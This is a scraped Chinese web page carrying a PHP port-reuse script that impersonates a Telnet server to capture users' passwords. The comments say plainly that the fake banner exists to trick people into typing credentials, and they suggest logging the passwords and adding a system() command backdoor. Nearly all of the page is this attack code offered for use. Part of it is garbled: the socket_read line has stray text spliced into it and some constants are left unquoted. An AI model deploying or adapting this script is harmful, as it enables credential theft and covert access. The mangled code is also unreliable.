时间:2021-07-01 10:21:17 帮助过:27人阅读
set_time_limit(0);
ob_implicit_flush();
$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "
";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "
";
}/*绑定端口*/
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "
";
} /*开始监听*/
while(true) {
if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "
";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server
";
$txt .="User:
";
socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/
while(true) {
if(($buf _read($sniffer">=@socket_read($sniffer, 2048, php(做为现在的主流开发语言)_BINARY_READ)) ==false)
{
break;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == !quit) {
break;
}
if ($buf == !shutdown) {
socket_close($sniffer);
break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/
}
$sniff_data = "$buf ";
/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*输出字符串,这里可以加进文件处理,保存密码什么的*/
}
socket_close($sniffer);
}
socket_close($resock);
socket_close($sock);
?>
http://www.bkjia.com/PHPjc/508751.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/508751.htmlTechArticle假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。 这个可以用于欺骗用户密码,因为原来的服务不可用了...